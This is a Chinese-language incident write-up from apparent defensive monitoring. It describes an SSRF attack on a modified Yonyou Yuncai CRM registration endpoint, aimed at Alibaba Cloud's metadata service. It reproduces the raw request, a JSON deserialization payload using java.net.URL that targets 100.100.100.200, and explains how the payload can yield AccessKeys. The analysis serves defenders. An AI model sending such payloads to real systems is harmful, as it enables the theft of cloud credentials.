在某次重保中，作为监测角色，发现了一处有意思的漏洞组合利用方式特此记录下来。
SSRF
客户这边的网站使用了用友的有云采的CRM框架，但是后期开发进行了修改和自适应，大部分接口都已不使用，剩下一些隐蔽接口仍能利用。
通过监测发现一处调用注册接口，发送的数据为SSRF数据，非常规的注册数据。接口为/yuncai/register，正常情况下该接口传递的数据为注册用户名、密码、验证码等数据。此处攻击者传递了非预期数据，请求了JAVA中JSON序列化的元数据结构。此结构类似CVE-2019-12384，但在这里仅进行了SSRF探测行为。原始数据如下：
POST /yuncai/register HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0
Content-Type: application/json
Cookie: acw_tc=000
Content-Length: 149
{"loginName": "ssrf_url_hash", "extFields": {"@class": "java.net.URL", "url": "http://100.100.100.200/latest/meta-data/instance-id", "hashCode": -1}}
who is 100.100.100.200
因为一般攻击探测SSRF均使用dnslog进行探测，客户资产又全都是云上资产。所以一开始很好奇为什么会探测这个100.100.100.200这个“私网”地址。
经过阿里云老师的介绍才了解到这个100.100.100.200地址为阿里云元数据服务地址，当主机被授权了RAM权限后，可通过http无鉴权的请求100.100.100.200获取实例名、区域、ip、AccessKey等敏感数据。
为什么内网可以无鉴权的获取这些数据呢？在阿里云中有相关文档，存在两种方式，一种为需要获取token，凭token请求获取。另一种为无需凭证，只要被RAM授权后即可获取。
这里的主机正好未分配任何RAM权限，导致即使请求了也未能获取到有效数据。
这里为什么不需要凭据呢？ 很简单，默认配置即为不需要凭据的普通模式，客户又不懂阿里云的这种配置就一直遗留下来。
攻击流程
整个攻击流程如下：
flowchart TD
A[攻击者] -->|发起SSRF| B[存在SSRF漏洞的业务服务器]
B -->|请求阿里云元数据 100.100.100.200| C[阿里云元数据服务 100.100.100.200]
C -->|返回AccessKey等凭证| B
B -->|凭证返回给攻击者| A
攻击者利用了用友的0/1DAY的SSRF漏洞配合阿里云的云服务配置缺陷进行组合攻击，所幸未能成功攻击。
攻击数据包截图：
可以见得攻击者通过分析代码得知此处存在SSRF且有回显（其他地方可能无回显），说明攻击者对用友和阿里云的研究都比较深入。